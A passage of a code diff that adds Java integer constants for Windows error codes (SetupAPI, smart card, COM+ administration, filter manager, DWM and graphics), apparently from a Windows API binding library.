+  public static final int SPAPI_E_BAD_INTERFACE_INSTALLSECT = -2146500067;
+  public static final int SPAPI_E_NO_SUCH_INTERFACE_CLASS = -2146500066;
+  public static final int SPAPI_E_INVALID_REFERENCE_STRING = -2146500065;
+  public static final int SPAPI_E_INVALID_MACHINENAME = -2146500064;
+  public static final int SPAPI_E_REMOTE_COMM_FAILURE = -2146500063;
+  public static final int SPAPI_E_MACHINE_UNAVAILABLE = -2146500062;
+  public static final int SPAPI_E_NO_CONFIGMGR_SERVICES = -2146500061;
+  public static final int SPAPI_E_INVALID_PROPPAGE_PROVIDER = -2146500060;
+  public static final int SPAPI_E_NO_SUCH_DEVICE_INTERFACE = -2146500059;
+  public static final int SPAPI_E_DI_POSTPROCESSING_REQUIRED = -2146500058;
+  public static final int SPAPI_E_INVALID_COINSTALLER = -2146500057;
+  public static final int SPAPI_E_NO_COMPAT_DRIVERS = -2146500056;
+  public static final int SPAPI_E_NO_DEVICE_ICON = -2146500055;
+  public static final int SPAPI_E_INVALID_INF_LOGCONFIG = -2146500054;
+  public static final int SPAPI_E_DI_DONT_INSTALL = -2146500053;
+  public static final int SPAPI_E_INVALID_FILTER_DRIVER = -2146500052;
+  public static final int SPAPI_E_NON_WINDOWS_NT_DRIVER = -2146500051;
+  public static final int SPAPI_E_NON_WINDOWS_DRIVER = -2146500050;
+  public static final int SPAPI_E_NO_CATALOG_FOR_OEM_INF = -2146500049;
+  public static final int SPAPI_E_DEVINSTALL_QUEUE_NONNATIVE = -2146500048;
+  public static final int SPAPI_E_NOT_DISABLEABLE = -2146500047;
+  public static final int SPAPI_E_CANT_REMOVE_DEVINST = -2146500046;
+  public static final int SPAPI_E_INVALID_TARGET = -2146500045;
+  public static final int SPAPI_E_DRIVER_NONNATIVE = -2146500044;
+  public static final int SPAPI_E_IN_WOW64 = -2146500043;
+  public static final int SPAPI_E_SET_SYSTEM_RESTORE_POINT = -2146500042;
+  public static final int SPAPI_E_INCORRECTLY_COPIED_INF = -2146500041;
+  public static final int SPAPI_E_SCE_DISABLED = -2146500040;
+  public static final int SPAPI_E_UNKNOWN_EXCEPTION = -2146500039;
+  public static final int SPAPI_E_PNP_REGISTRY_ERROR = -2146500038;
+  public static final int SPAPI_E_REMOTE_REQUEST_UNSUPPORTED = -2146500037;
+  public static final int SPAPI_E_NOT_AN_INSTALLED_OEM_INF = -2146500036;
+  public static final int SPAPI_E_INF_IN_USE_BY_DEVICES = -2146500035;
+  public static final int SPAPI_E_DI_FUNCTION_OBSOLETE = -2146500034;
+  public static final int SPAPI_E_NO_AUTHENTICODE_CATALOG = -2146500033;
+  public static final int SPAPI_E_AUTHENTICODE_DISALLOWED = -2146500032;
+  public static final int SPAPI_E_AUTHENTICODE_TRUSTED_PUBLISHER = -2146500031;
+  public static final int SPAPI_E_AUTHENTICODE_TRUST_NOT_ESTABLISHED = -2146500030;
+  public static final int SPAPI_E_AUTHENTICODE_PUBLISHER_NOT_TRUSTED = -2146500029;
+  public static final int SPAPI_E_SIGNATURE_OSATTRIBUTE_MISMATCH = -2146500028;
+  public static final int SPAPI_E_ONLY_VALIDATE_VIA_AUTHENTICODE = -2146500027;
+  public static final int SPAPI_E_DEVICE_INSTALLER_NOT_READY = -2146500026;
+  public static final int SPAPI_E_DRIVER_STORE_ADD_FAILED = -2146500025;
+  public static final int SPAPI_E_DEVICE_INSTALL_BLOCKED = -2146500024;
+  public static final int SPAPI_E_DRIVER_INSTALL_BLOCKED = -2146500023;
+  public static final int SPAPI_E_WRONG_INF_TYPE = -2146500022;
+  public static final int SPAPI_E_FILE_HASH_NOT_IN_CATALOG = -2146500021;
+  public static final int SPAPI_E_DRIVER_STORE_DELETE_FAILED = -2146500020;
+  public static final int SPAPI_E_UNRECOVERABLE_STACK_OVERFLOW = -2146499840;
+  public static final int SPAPI_E_ERROR_NOT_INSTALLED = -2146496512;
+  public static final int SCARD_S_SUCCESS = 0;
+  public static final int SCARD_F_INTERNAL_ERROR = -2146435071;
+  public static final int SCARD_E_CANCELLED = -2146435070;
+  public static final int SCARD_E_INVALID_HANDLE = -2146435069;
+  public static final int SCARD_E_INVALID_PARAMETER = -2146435068;
+  public static final int SCARD_E_INVALID_TARGET = -2146435067;
+  public static final int SCARD_E_NO_MEMORY = -2146435066;
+  public static final int SCARD_F_WAITED_TOO_LONG = -2146435065;
+  public static final int SCARD_E_INSUFFICIENT_BUFFER = -2146435064;
+  public static final int SCARD_E_UNKNOWN_READER = -2146435063;
+  public static final int SCARD_E_TIMEOUT = -2146435062;
+  public static final int SCARD_E_SHARING_VIOLATION = -2146435061;
+  public static final int SCARD_E_NO_SMARTCARD = -2146435060;
+  public static final int SCARD_E_UNKNOWN_CARD = -2146435059;
+  public static final int SCARD_E_CANT_DISPOSE = -2146435058;
+  public static final int SCARD_E_PROTO_MISMATCH = -2146435057;
+  public static final int SCARD_E_NOT_READY = -2146435056;
+  public static final int SCARD_E_INVALID_VALUE = -2146435055;
+  public static final int SCARD_E_SYSTEM_CANCELLED = -2146435054;
+  public static final int SCARD_F_COMM_ERROR = -2146435053;
+  public static final int SCARD_F_UNKNOWN_ERROR = -2146435052;
+  public static final int SCARD_E_INVALID_ATR = -2146435051;
+  public static final int SCARD_E_NOT_TRANSACTED = -2146435050;
+  public static final int SCARD_E_READER_UNAVAILABLE = -2146435049;
+  public static final int SCARD_P_SHUTDOWN = -2146435048;
+  public static final int SCARD_E_PCI_TOO_SMALL = -2146435047;
+  public static final int SCARD_E_READER_UNSUPPORTED = -2146435046;
+  public static final int SCARD_E_DUPLICATE_READER = -2146435045;
+  public static final int SCARD_E_CARD_UNSUPPORTED = -2146435044;
+  public static final int SCARD_E_NO_SERVICE = -2146435043;
+  public static final int SCARD_E_SERVICE_STOPPED = -2146435042;
+  public static final int SCARD_E_UNEXPECTED = -2146435041;
+  public static final int SCARD_E_ICC_INSTALLATION = -2146435040;
+  public static final int SCARD_E_ICC_CREATEORDER = -2146435039;
+  public static final int SCARD_E_UNSUPPORTED_FEATURE = -2146435038;
+  public static final int SCARD_E_DIR_NOT_FOUND = -2146435037;
+  public static final int SCARD_E_FILE_NOT_FOUND = -2146435036;
+  public static final int SCARD_E_NO_DIR = -2146435035;
+  public static final int SCARD_E_NO_FILE = -2146435034;
+  public static final int SCARD_E_NO_ACCESS = -2146435033;
+  public static final int SCARD_E_WRITE_TOO_MANY = -2146435032;
+  public static final int SCARD_E_BAD_SEEK = -2146435031;
+  public static final int SCARD_E_INVALID_CHV = -2146435030;
+  public static final int SCARD_E_UNKNOWN_RES_MNG = -2146435029;
+  public static final int SCARD_E_NO_SUCH_CERTIFICATE = -2146435028;
+  public static final int SCARD_E_CERTIFICATE_UNAVAILABLE = -2146435027;
+  public static final int SCARD_E_NO_READERS_AVAILABLE = -2146435026;
+  public static final int SCARD_E_COMM_DATA_LOST = -2146435025;
+  public static final int SCARD_E_NO_KEY_CONTAINER = -2146435024;
+  public static final int SCARD_E_SERVER_TOO_BUSY = -2146435023;
+  public static final int SCARD_W_UNSUPPORTED_CARD = -2146434971;
+  public static final int SCARD_W_UNRESPONSIVE_CARD = -2146434970;
+  public static final int SCARD_W_UNPOWERED_CARD = -2146434969;
+  public static final int SCARD_W_RESET_CARD = -2146434968;
+  public static final int SCARD_W_REMOVED_CARD = -2146434967;
+  public static final int SCARD_W_SECURITY_VIOLATION = -2146434966;
+  public static final int SCARD_W_WRONG_CHV = -2146434965;
+  public static final int SCARD_W_CHV_BLOCKED = -2146434964;
+  public static final int SCARD_W_EOF = -2146434963;
+  public static final int SCARD_W_CANCELLED_BY_USER = -2146434962;
+  public static final int SCARD_W_CARD_NOT_AUTHENTICATED = -2146434961;
+  public static final int SCARD_W_CACHE_ITEM_NOT_FOUND = -2146434960;
+  public static final int SCARD_W_CACHE_ITEM_STALE = -2146434959;
+  public static final int SCARD_W_CACHE_ITEM_TOO_BIG = -2146434958;
+  public static final int COMADMIN_E_OBJECTERRORS = -2146368511;
+  public static final int COMADMIN_E_OBJECTINVALID = -2146368510;
+  public static final int COMADMIN_E_KEYMISSING = -2146368509;
+  public static final int COMADMIN_E_ALREADYINSTALLED = -2146368508;
+  public static final int COMADMIN_E_APP_FILE_WRITEFAIL = -2146368505;
+  public static final int COMADMIN_E_APP_FILE_READFAIL = -2146368504;
+  public static final int COMADMIN_E_APP_FILE_VERSION = -2146368503;
+  public static final int COMADMIN_E_BADPATH = -2146368502;
+  public static final int COMADMIN_E_APPLICATIONEXISTS = -2146368501;
+  public static final int COMADMIN_E_ROLEEXISTS = -2146368500;
+  public static final int COMADMIN_E_CANTCOPYFILE = -2146368499;
+  public static final int COMADMIN_E_NOUSER = -2146368497;
+  public static final int COMADMIN_E_INVALIDUSERIDS = -2146368496;
+  public static final int COMADMIN_E_NOREGISTRYCLSID = -2146368495;
+  public static final int COMADMIN_E_BADREGISTRYPROGID = -2146368494;
+  public static final int COMADMIN_E_AUTHENTICATIONLEVEL = -2146368493;
+  public static final int COMADMIN_E_USERPASSWDNOTVALID = -2146368492;
+  public static final int COMADMIN_E_CLSIDORIIDMISMATCH = -2146368488;
+  public static final int COMADMIN_E_REMOTEINTERFACE = -2146368487;
+  public static final int COMADMIN_E_DLLREGISTERSERVER = -2146368486;
+  public static final int COMADMIN_E_NOSERVERSHARE = -2146368485;
+  public static final int COMADMIN_E_DLLLOADFAILED = -2146368483;
+  public static final int COMADMIN_E_BADREGISTRYLIBID = -2146368482;
+  public static final int COMADMIN_E_APPDIRNOTFOUND = -2146368481;
+  public static final int COMADMIN_E_REGISTRARFAILED = -2146368477;
+  public static final int COMADMIN_E_COMPFILE_DOESNOTEXIST = -2146368476;
+  public static final int COMADMIN_E_COMPFILE_LOADDLLFAIL = -2146368475;
+  public static final int COMADMIN_E_COMPFILE_GETCLASSOBJ = -2146368474;
+  public static final int COMADMIN_E_COMPFILE_CLASSNOTAVAIL = -2146368473;
+  public static final int COMADMIN_E_COMPFILE_BADTLB = -2146368472;
+  public static final int COMADMIN_E_COMPFILE_NOTINSTALLABLE = -2146368471;
+  public static final int COMADMIN_E_NOTCHANGEABLE = -2146368470;
+  public static final int COMADMIN_E_NOTDELETEABLE = -2146368469;
+  public static final int COMADMIN_E_SESSION = -2146368468;
+  public static final int COMADMIN_E_COMP_MOVE_LOCKED = -2146368467;
+  public static final int COMADMIN_E_COMP_MOVE_BAD_DEST = -2146368466;
+  public static final int COMADMIN_E_REGISTERTLB = -2146368464;
+  public static final int COMADMIN_E_SYSTEMAPP = -2146368461;
+  public static final int COMADMIN_E_COMPFILE_NOREGISTRAR = -2146368460;
+  public static final int COMADMIN_E_COREQCOMPINSTALLED = -2146368459;
+  public static final int COMADMIN_E_SERVICENOTINSTALLED = -2146368458;
+  public static final int COMADMIN_E_PROPERTYSAVEFAILED = -2146368457;
+  public static final int COMADMIN_E_OBJECTEXISTS = -2146368456;
+  public static final int COMADMIN_E_COMPONENTEXISTS = -2146368455;
+  public static final int COMADMIN_E_REGFILE_CORRUPT = -2146368453;
+  public static final int COMADMIN_E_PROPERTY_OVERFLOW = -2146368452;
+  public static final int COMADMIN_E_NOTINREGISTRY = -2146368450;
+  public static final int COMADMIN_E_OBJECTNOTPOOLABLE = -2146368449;
+  public static final int COMADMIN_E_APPLID_MATCHES_CLSID = -2146368442;
+  public static final int COMADMIN_E_ROLE_DOES_NOT_EXIST = -2146368441;
+  public static final int COMADMIN_E_START_APP_NEEDS_COMPONENTS = -2146368440;
+  public static final int COMADMIN_E_REQUIRES_DIFFERENT_PLATFORM = -2146368439;
+  public static final int COMADMIN_E_CAN_NOT_EXPORT_APP_PROXY = -2146368438;
+  public static final int COMADMIN_E_CAN_NOT_START_APP = -2146368437;
+  public static final int COMADMIN_E_CAN_NOT_EXPORT_SYS_APP = -2146368436;
+  public static final int COMADMIN_E_CANT_SUBSCRIBE_TO_COMPONENT = -2146368435;
+  public static final int COMADMIN_E_EVENTCLASS_CANT_BE_SUBSCRIBER = -2146368434;
+  public static final int COMADMIN_E_LIB_APP_PROXY_INCOMPATIBLE = -2146368433;
+  public static final int COMADMIN_E_BASE_PARTITION_ONLY = -2146368432;
+  public static final int COMADMIN_E_START_APP_DISABLED = -2146368431;
+  public static final int COMADMIN_E_CAT_DUPLICATE_PARTITION_NAME = -2146368425;
+  public static final int COMADMIN_E_CAT_INVALID_PARTITION_NAME = -2146368424;
+  public static final int COMADMIN_E_CAT_PARTITION_IN_USE = -2146368423;
+  public static final int COMADMIN_E_FILE_PARTITION_DUPLICATE_FILES = -2146368422;
+  public static final int COMADMIN_E_CAT_IMPORTED_COMPONENTS_NOT_ALLOWED = -2146368421;
+  public static final int COMADMIN_E_AMBIGUOUS_APPLICATION_NAME = -2146368420;
+  public static final int COMADMIN_E_AMBIGUOUS_PARTITION_NAME = -2146368419;
+  public static final int COMADMIN_E_REGDB_NOTINITIALIZED = -2146368398;
+  public static final int COMADMIN_E_REGDB_NOTOPEN = -2146368397;
+  public static final int COMADMIN_E_REGDB_SYSTEMERR = -2146368396;
+  public static final int COMADMIN_E_REGDB_ALREADYRUNNING = -2146368395;
+  public static final int COMADMIN_E_MIG_VERSIONNOTSUPPORTED = -2146368384;
+  public static final int COMADMIN_E_MIG_SCHEMANOTFOUND = -2146368383;
+  public static final int COMADMIN_E_CAT_BITNESSMISMATCH = -2146368382;
+  public static final int COMADMIN_E_CAT_UNACCEPTABLEBITNESS = -2146368381;
+  public static final int COMADMIN_E_CAT_WRONGAPPBITNESS = -2146368380;
+  public static final int COMADMIN_E_CAT_PAUSE_RESUME_NOT_SUPPORTED = -2146368379;
+  public static final int COMADMIN_E_CAT_SERVERFAULT = -2146368378;
+  public static final int COMQC_E_APPLICATION_NOT_QUEUED = -2146368000;
+  public static final int COMQC_E_NO_QUEUEABLE_INTERFACES = -2146367999;
+  public static final int COMQC_E_QUEUING_SERVICE_NOT_AVAILABLE = -2146367998;
+  public static final int COMQC_E_NO_IPERSISTSTREAM = -2146367997;
+  public static final int COMQC_E_BAD_MESSAGE = -2146367996;
+  public static final int COMQC_E_UNAUTHENTICATED = -2146367995;
+  public static final int COMQC_E_UNTRUSTED_ENQUEUER = -2146367994;
+  public static final int MSDTC_E_DUPLICATE_RESOURCE = -2146367743;
+  public static final int COMADMIN_E_OBJECT_PARENT_MISSING = -2146367480;
+  public static final int COMADMIN_E_OBJECT_DOES_NOT_EXIST = -2146367479;
+  public static final int COMADMIN_E_APP_NOT_RUNNING = -2146367478;
+  public static final int COMADMIN_E_INVALID_PARTITION = -2146367477;
+  public static final int COMADMIN_E_SVCAPP_NOT_POOLABLE_OR_RECYCLABLE = -2146367475;
+  public static final int COMADMIN_E_USER_IN_SET = -2146367474;
+  public static final int COMADMIN_E_CANTRECYCLELIBRARYAPPS = -2146367473;
+  public static final int COMADMIN_E_CANTRECYCLESERVICEAPPS = -2146367471;
+  public static final int COMADMIN_E_PROCESSALREADYRECYCLED = -2146367470;
+  public static final int COMADMIN_E_PAUSEDPROCESSMAYNOTBERECYCLED = -2146367469;
+  public static final int COMADMIN_E_CANTMAKEINPROCSERVICE = -2146367468;
+  public static final int COMADMIN_E_PROGIDINUSEBYCLSID = -2146367467;
+  public static final int COMADMIN_E_DEFAULT_PARTITION_NOT_IN_SET = -2146367466;
+  public static final int COMADMIN_E_RECYCLEDPROCESSMAYNOTBEPAUSED = -2146367465;
+  public static final int COMADMIN_E_PARTITION_ACCESSDENIED = -2146367464;
+  public static final int COMADMIN_E_PARTITION_MSI_ONLY = -2146367463;
+  public static final int COMADMIN_E_LEGACYCOMPS_NOT_ALLOWED_IN_1_0_FORMAT = -2146367462;
+  public static final int COMADMIN_E_LEGACYCOMPS_NOT_ALLOWED_IN_NONBASE_PARTITIONS = -2146367461;
+  public static final int COMADMIN_E_COMP_MOVE_SOURCE = -2146367460;
+  public static final int COMADMIN_E_COMP_MOVE_DEST = -2146367459;
+  public static final int COMADMIN_E_COMP_MOVE_PRIVATE = -2146367458;
+  public static final int COMADMIN_E_BASEPARTITION_REQUIRED_IN_SET = -2146367457;
+  public static final int COMADMIN_E_CANNOT_ALIAS_EVENTCLASS = -2146367456;
+  public static final int COMADMIN_E_PRIVATE_ACCESSDENIED = -2146367455;
+  public static final int COMADMIN_E_SAFERINVALID = -2146367454;
+  public static final int COMADMIN_E_REGISTRY_ACCESSDENIED = -2146367453;
+  public static final int COMADMIN_E_PARTITIONS_DISABLED = -2146367452;
+  public static final int ERROR_FLT_IO_COMPLETE = 2031617;
+  public static final int ERROR_FLT_NO_HANDLER_DEFINED = -2145452031;
+  public static final int ERROR_FLT_CONTEXT_ALREADY_DEFINED = -2145452030;
+  public static final int ERROR_FLT_INVALID_ASYNCHRONOUS_REQUEST = -2145452029;
+  public static final int ERROR_FLT_DISALLOW_FAST_IO = -2145452028;
+  public static final int ERROR_FLT_INVALID_NAME_REQUEST = -2145452027;
+  public static final int ERROR_FLT_NOT_SAFE_TO_POST_OPERATION = -2145452026;
+  public static final int ERROR_FLT_NOT_INITIALIZED = -2145452025;
+  public static final int ERROR_FLT_FILTER_NOT_READY = -2145452024;
+  public static final int ERROR_FLT_POST_OPERATION_CLEANUP = -2145452023;
+  public static final int ERROR_FLT_INTERNAL_ERROR = -2145452022;
+  public static final int ERROR_FLT_DELETING_OBJECT = -2145452021;
+  public static final int ERROR_FLT_MUST_BE_NONPAGED_POOL = -2145452020;
+  public static final int ERROR_FLT_DUPLICATE_ENTRY = -2145452019;
+  public static final int ERROR_FLT_CBDQ_DISABLED = -2145452018;
+  public static final int ERROR_FLT_DO_NOT_ATTACH = -2145452017;
+  public static final int ERROR_FLT_DO_NOT_DETACH = -2145452016;
+  public static final int ERROR_FLT_INSTANCE_ALTITUDE_COLLISION = -2145452015;
+  public static final int ERROR_FLT_INSTANCE_NAME_COLLISION = -2145452014;
+  public static final int ERROR_FLT_FILTER_NOT_FOUND = -2145452013;
+  public static final int ERROR_FLT_VOLUME_NOT_FOUND = -2145452012;
+  public static final int ERROR_FLT_INSTANCE_NOT_FOUND = -2145452011;
+  public static final int ERROR_FLT_CONTEXT_ALLOCATION_NOT_FOUND = -2145452010;
+  public static final int ERROR_FLT_INVALID_CONTEXT_REGISTRATION = -2145452009;
+  public static final int ERROR_FLT_NAME_CACHE_MISS = -2145452008;
+  public static final int ERROR_FLT_NO_DEVICE_OBJECT = -2145452007;
+  public static final int ERROR_FLT_VOLUME_ALREADY_MOUNTED = -2145452006;
+  public static final int ERROR_FLT_ALREADY_ENLISTED = -2145452005;
+  public static final int ERROR_FLT_CONTEXT_ALREADY_LINKED = -2145452004;
+  public static final int ERROR_FLT_NO_WAITER_FOR_REPLY = -2145452000;
+  public static final int ERROR_HUNG_DISPLAY_DRIVER_THREAD = -2144993279;
+  public static final int DWM_E_COMPOSITIONDISABLED = -2144980991;
+  public static final int DWM_E_REMOTING_NOT_SUPPORTED = -2144980990;
+  public static final int DWM_E_NO_REDIRECTION_SURFACE_AVAILABLE = -2144980989;
+  public static final int DWM_E_NOT_QUEUING_PRESENTS = -2144980988;
+  public static final int ERROR_MONITOR_NO_DESCRIPTOR = -2144989183;
+  public static final int ERROR_MONITOR_UNKNOWN_DESCRIPTOR_FORMAT = -2144989182;
+  public static final int ERROR_MONITOR_INVALID_DESCRIPTOR_CHECKSUM = -1071247357;
+  public static final int ERROR_MONITOR_INVALID_STANDARD_TIMING_BLOCK = -1071247356;
+  public static final int ERROR_MONITOR_WMI_DATABLOCK_REGISTRATION_FAILED = -1071247355;
+  public static final int ERROR_MONITOR_INVALID_SERIAL_NUMBER_MONDSC_BLOCK = -1071247354;
+  public static final int ERROR_MONITOR_INVALID_USER_FRIENDLY_MONDSC_BLOCK = -1071247353;
+  public static final int ERROR_MONITOR_NO_MORE_DESCRIPTOR_DATA = -1071247352;
+  public static final int ERROR_MONITOR_INVALID_DETAILED_TIMING_BLOCK = -1071247351;
+  public static final int ERROR_GRAPHICS_NOT_EXCLUSIVE_MODE_OWNER = -1071243264;
+  public static final int ERROR_GRAPHICS_INSUFFICIENT_DMA_BUFFER = -1071243263;
+  public static final int ERROR_GRAPHICS_INVALID_DISPLAY_ADAPTER = -1071243262;
+  public static final int ERROR_GRAPHICS_ADAPTER_WAS_RESET = -1071243261;
+  public static final int ERROR_GRAPHICS_INVALID_DRIVER_MODEL = -1071243260;
+  public static final int ERROR_GRAPHICS_PRESENT_MODE_CHANGED = -1071243259;
+  public static final int ERROR_GRAPHICS_PRESENT_OCCLUDED = -1071243258;
+  public static final int ERROR_GRAPHICS_PRESENT_DENIED = -1071243257;
+  public static final int ERROR_GRAPHICS_CANNOTCOLORCONVERT = -1071243256;
+  public static final int ERROR_GRAPHICS_DRIVER_MISMATCH = -1071243255;
+  public static final int ERROR_GRAPHICS_PARTIAL_DATA_POPULATED = 1076240394;
+  public static final int ERROR_GRAPHICS_NO_VIDEO_MEMORY = -1071243008;
+  public static final int ERROR_GRAPHICS_CANT_LOCK_MEMORY = -1071243007;
+  public static final int ERROR_GRAPHICS_ALLOCATION_BUSY = -1071243006;
+  public static final int ERROR_GRAPHICS_TOO_MANY_REFERENCES = -1071243005;
+  public static final int ERROR_GRAPHICS_TRY_AGAIN_LATER = -1071243004;
+  public static final int ERROR_GRAPHICS_TRY_AGAIN_NOW = -1071243003;
+  public static final int ERROR_GRAPHICS_ALLOCATION_INVALID = -1071243002;
+  public static final int ERROR_GRAPHICS_UNSWIZZLING_APERTURE_UNAVAILABLE = -1071243001;
+  public static final int ERROR_GRAPHICS_UNSWIZZLING_APERTURE_UNSUPPORTED = -1071243000;
+  public static final int ERROR_GRAPHICS_CANT_EVICT_PINNED_ALLOCATION = -1071242999;
+  public static final int ERROR_GRAPHICS_INVALID_ALLOCATION_USAGE = -1071242992;
+  public static final int ERROR_GRAPHICS_CANT_RENDER_LOCKED_ALLOCATION = -1071242991;
+  public static final int ERROR_GRAPHICS_ALLOCATION_CLOSED = -1071242990;
+  public static final int ERROR_GRAPHICS_INVALID_ALLOCATION_INSTANCE = -1071242989;
+  public static final int ERROR_GRAPHICS_INVALID_ALLOCATION_HANDLE = -1071242988;
+  public static final int ERROR_GRAPHICS_WRONG_ALLOCATION_DEVICE = -1071242987;
+  public static final int ERROR_GRAPHICS_ALLOCATION_CONTENT_LOST = -1071242986;
+  public static final int ERROR_GRAPHICS_GPU_EXCEPTION_ON_DEVICE = -1071242752;
+  public static final int ERROR_GRAPHICS_INVALID_VIDPN_TOPOLOGY = -1071242496;
+  public static final int ERROR_GRAPHICS_VIDPN_TOPOLOGY_NOT_SUPPORTED = -1071242495;
+  public static final int ERROR_GRAPHICS_VIDPN_TOPOLOGY_CURRENTLY_NOT_SUPPORTED = -1071242494;
+  public static final int ERROR_GRAPHICS_INVALID_VIDPN = -1071242493;
+  public static final int ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE = -1071242492;
+  public static final int ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET = -1071242491;
+  public static final int ERROR_GRAPHICS_VIDPN_MODALITY_NOT_SUPPORTED = -1071242490;
+  public static final int ERROR_GRAPHICS_MODE_NOT_PINNED = 2499335;
+  public static final int ERROR_GRAPHICS_INVALID_VIDPN_SOURCEMODESET = -1071242488;
+  public static final int ERROR_GRAPHICS_INVALID_VIDPN_TARGETMODESET = -1071242487;
+  public static final int ERROR_GRAPHICS_INVALID_FREQUENCY = -1071242486;
+  public static final int ERROR_GRAPHICS_INVALID_ACTIVE_REGION = -1071242485;
+  public static final int ERROR_GRAPHICS_INVALID_TOTAL_REGION = -1071242484;
+  public static final int ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE_MODE = -1071242480;
+  public static final int ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET_MODE = -1071242479;
+  public static final int ERROR_GRAPHICS_PINNED_MODE_MUST_REMAIN_IN_SET = -1071242478;
+  public static final int ERROR_GRAPHICS_PATH_ALREADY_IN_TOPOLOGY = -1071242477;
+  public static final int ERROR_GRAPHICS_MODE_ALREADY_IN_MODESET = -1071242476;
+  public static final int ERROR_GRAPHICS_INVALID_VIDEOPRESENTSOURCESET = -1071242475;
+  public static final int ERROR_GRAPHICS_INVALID_VIDEOPRESENTTARGETSET = -1071242474;
+  public static final int ERROR_GRAPHICS_SOURCE_ALREADY_IN_SET = -1071242473;
+  public static final int ERROR_GRAPHICS_TARGET_ALREADY_IN_SET = -1071242472;
+  public static final int ERROR_GRAPHICS_INVALID_VIDPN_PRESENT_PATH = -1071242471;
+  public static final int ERROR_GRAPHICS_NO_RECOMMENDED_VIDPN_TOPOLOGY = -1071242470;
+  public static final int ERROR_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGESET = -1071242469;
+  public static final int ERROR_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE = -1071242468;
+  public static final int ERROR_GRAPHICS_FREQUENCYRANGE_NOT_IN_SET = -1071242467;
+  public static final int ERROR_GRAPHICS_NO_PREFERRED_MODE = 2499358;
+  public static final int ERROR_GRAPHICS_FREQUENCYRANGE_ALREADY_IN_SET = -1071242465;
+  public static final int ERROR_GRAPHICS_STALE_MODESET = -1071242464;
+  public static final int ERROR_GRAPHICS_INVALID_MONITOR_SOURCEMODESET = -1071242463;
+  public static final int ERROR_GRAPHICS_INVALID_MONITOR_SOURCE_MODE = -1071242462;
+  public static final int ERROR_GRAPHICS_NO_RECOMMENDED_FUNCTIONAL_VIDPN = -1071242461;
+  public static final int ERROR_GRAPHICS_MODE_ID_MUST_BE_UNIQUE = -1071242460;
+  public static final int ERROR_GRAPHICS_EMPTY_ADAPTER_MONITOR_MODE_SUPPORT_INTERSECTION = -1071242459;
+  public static final int ERROR_GRAPHICS_VIDEO_PRESENT_TARGETS_LESS_THAN_SOURCES = -1071242458;
+  public static final int ERROR_GRAPHICS_PATH_NOT_IN_TOPOLOGY = -1071242457;
+  public static final int ERROR_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_SOURCE = -1071242456;
+  public static final int ERROR_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_TARGET = -1071242455;
+  public static final int ERROR_GRAPHICS_INVALID_MONITORDESCRIPTORSET = -1071242454;
+  public static final int ERROR_GRAPHICS_INVALID_MONITORDESCRIPTOR = -1071242453;
+  public static final int ERROR_GRAPHICS_MONITORDESCRIPTOR_NOT_IN_SET = -1071242452;
+  public static final int ERROR_GRAPHICS_MONITORDESCRIPTOR_ALREADY_IN_SET = -1071242451;
+  public static final int ERROR_GRAPHICS_MONITORDESCRIPTOR_ID_MUST_BE_UNIQUE = -1071242450;
+  public static final int ERROR_GRAPHICS_INVALID_VIDPN_TARGET_SUBSET_TYPE = -1071242449;
+  public static final int ERROR_GRAPHICS_RESOURCES_NOT_RELATED = -1071242448;
+  public static final int ERROR_GRAPHICS_SOURCE_ID_MUST_BE_UNIQUE = -1071242447;
+  public static final int ERROR_GRAPHICS_TARGET_ID_MUST_BE_UNIQUE = -1071242446;
+  public static final int ERROR_GRAPHICS_NO_AVAILABLE_VIDPN_TARGET = -1071242445;
+  public static final int ERROR_GRAPHICS_MONITOR_COULD_NOT_BE_ASSOCIATED_WITH_ADAPTER = -1071242444;
+  public static final int ERROR_GRAPHICS_NO_VIDPNMGR = -1071242443;
+  public static final int ERROR_GRAPHICS_NO_ACTIVE_VIDPN = -1071242442;
+  public static final int ERROR_GRAPHICS_STALE_VIDPN_TOPOLOGY = -1071242441;
+  public static final int ERROR_GRAPHICS_MONITOR_NOT_CONNECTED = -1071242440;
+  public static final int ERROR_GRAPHICS_SOURCE_NOT_IN_TOPOLOGY = -1071242439;
+  public static final int ERROR_GRAPHICS_INVALID_PRIMARYSURFACE_SIZE = -1071242438;
+  public static final int ERROR_GRAPHICS_INVALID_VISIBLEREGION_SIZE = -1071242437;
+  public static final int ERROR_GRAPHICS_INVALID_STRIDE = -1071242436;
+  public static final int ERROR_GRAPHICS_INVALID_PIXELFORMAT = -1071242435;
+  public static final int ERROR_GRAPHICS_INVALID_COLORBASIS = -1071242434;
+  public static final int ERROR_GRAPHICS_INVALID_PIXELVALUEACCESSMODE = -1071242433;
+  public static final int ERROR_GRAPHICS_TARGET_NOT_IN_TOPOLOGY = -1071242432;
+  public static final int ERROR_GRAPHICS_NO_DISPLAY_MODE_MANAGEMENT_SUPPORT = -1071242431;
+  public static final int ERROR_GRAPHICS_VIDPN_SOURCE_IN_USE = -1071242430;
+  public static final int ERROR_GRAPHICS_CANT_ACCESS_ACTIVE_VIDPN = -1071242429;
+  public static final int ERROR_GRAPHICS_INVALID_PATH_IMPORTANCE_ORDINAL = -1071242428;
+  public static final int ERROR_GRAPHICS_INVALID_PATH_CONTENT_GEOMETRY_TRANSFORMATION = -1071242427;
+  public static final int ERROR_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_SUPPORTED = -1071242426;
+  public static final int ERROR_GRAPHICS_INVALID_GAMMA_RAMP = -1071242425;
+  public static final int ERROR_GRAPHICS_GAMMA_RAMP_NOT_SUPPORTED = -1071242424;
+  public static final int ERROR_GRAPHICS_MULTISAMPLING_NOT_SUPPORTED = -1071242423;
+  public static final int ERROR_GRAPHICS_MODE_NOT_IN_MODESET = -1071242422;
+  public static final int ERROR_GRAPHICS_DATASET_IS_EMPTY = 2499403;
+  public static final int ERROR_GRAPHICS_NO_MORE_ELEMENTS_IN_DATASET = 2499404;
+  public static final int ERROR_GRAPHICS_INVALID_VIDPN_TOPOLOGY_RECOMMENDATION_REASON = -1071242419;
+  public static final int ERROR_GRAPHICS_INVALID_PATH_CONTENT_TYPE = -1071242418;
+  public static final int ERROR_GRAPHICS_INVALID_COPYPROTECTION_TYPE = -1071242417;
